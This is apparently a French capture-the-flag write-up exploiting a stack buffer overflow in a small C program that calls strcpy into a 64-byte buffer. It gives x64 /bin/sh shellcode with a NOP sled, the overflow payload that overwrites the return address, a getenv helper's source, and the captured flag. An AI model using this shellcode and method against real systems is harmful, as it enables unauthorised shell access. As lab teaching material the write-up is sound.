Source : #include int main (int argc, char *argv[]) { char buffer[64]; if (argc > 1) strcpy (buffer, argv[1]); return 0; } La vulnérabilité se trouve au niveau de l'appel à la fonction strcpy() qui copie l'argument d'entrée dans un tableau de 64. On commence par exporter dans une variable d'environnement le shellcode (/bin/sh pour linux x64) avec quelques NOPs (pour le plaisir) : guest@ns37997:/home/exploit-3$ export SHELLCODE=`python -c 'print "\x90"*5000 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'` On récupère l'adresse du shellcode : guest@ns37997:/home/exploit-3$ /tmp/foo/getenv SHELLCODE ./vulnerable > SHELLCODE = 0x7fffffffd5c8 exploitation de l'overflow avec l'adresse du shellcode dans le RIP dans un fichier temporaire : guest@ns37997:/home/exploit-3$ python -c 'print "A"*72 + "\xc8\xd5\xff\xff\xff\x7f"' > /tmp/foo/xploit On lance l'exploit : guest@ns37997:/home/exploit-3$ ./vulnerable `cat /tmp/foo/xploit` récupération du flag : sh-4.2$ cat ./.secret > eim8naphiG Code source de getenv (pour récupérer l'adresse du shellcode en environnement) : #include #include #include int main(int argc, char **argv){ char *ptr; if(argc < 3){ printf("usage: variable d environnement, programme\n", argv[0]); exit(EXIT_FAILURE); } ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2])) *2; printf("%s = %p\n", argv[1], ptr); return EXIT_SUCCESS; }